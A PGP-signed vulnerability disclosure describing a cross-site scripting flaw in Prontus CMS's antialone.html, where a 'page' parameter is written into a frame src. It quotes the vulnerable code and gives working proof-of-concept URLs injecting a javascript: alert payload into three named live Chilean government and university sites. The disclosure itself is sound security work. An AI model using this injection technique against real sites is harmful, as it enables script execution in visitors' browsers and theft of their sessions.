Prontus CMS Cross Site Scripting

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
Prontus is a /chilean/ "CMS" used by many sites in Chile.  
  
The vulnerability is into "antialone.html" which contains some frames  
using the value of "page" as "src" attribute:  
  
+-----------------------------antialone.html------------------------------------------+  
[...]  
page = page + '?' + Math.random();  
[...]  
document.write(' <frame name="cont" src="' + page + '" marginwidth="0"  
marginheight="0">');  
[...]  
+-------------------------------------------------------------------------------------+  
  
  
If you enter "javascript:alert(1);" the 'src' will be  
"javascript:alert(1);?<random number here>", now you must to "comment"  
all after your javascript code. Example: javascript:alert(1);//  
  
Now you can exploit it:  
  
- -  
http://www.fonasa.cl/prontus_fonasa/antialone.html?page=javascript:alert%28/XSS/%29;//  
  
- -  
http://www.senador.cl/prontus_senado/antialone.html?page=javascript:alert%28/XSS/%29;//  
  
- -  
http://www.ucv.cl/p1_rector/antialone.html?page=javascript:alert%28/XSS/%29;//  
  
And many other sites...  
  
  
Read this report in Spanish: http://bit.ly/p4l50m  
  
  
  
- --   
Zerial  
Seguridad Informatica  
GNU/Linux User #382319  
Blog: http://blog.zerial.org  
Jabber: [email protected]  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.4.11 (GNU/Linux)  
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/  
  
iEYEARECAAYFAk4bSHUACgkQIP17Kywx9JQG8QCfUIn+nZHBEOK9YXtgUWuu5wHx  
74UAn1fUqNx3MPlfz+wuWvmxO+FRM0f+  
=wYYT  
-----END PGP SIGNATURE-----  
  
`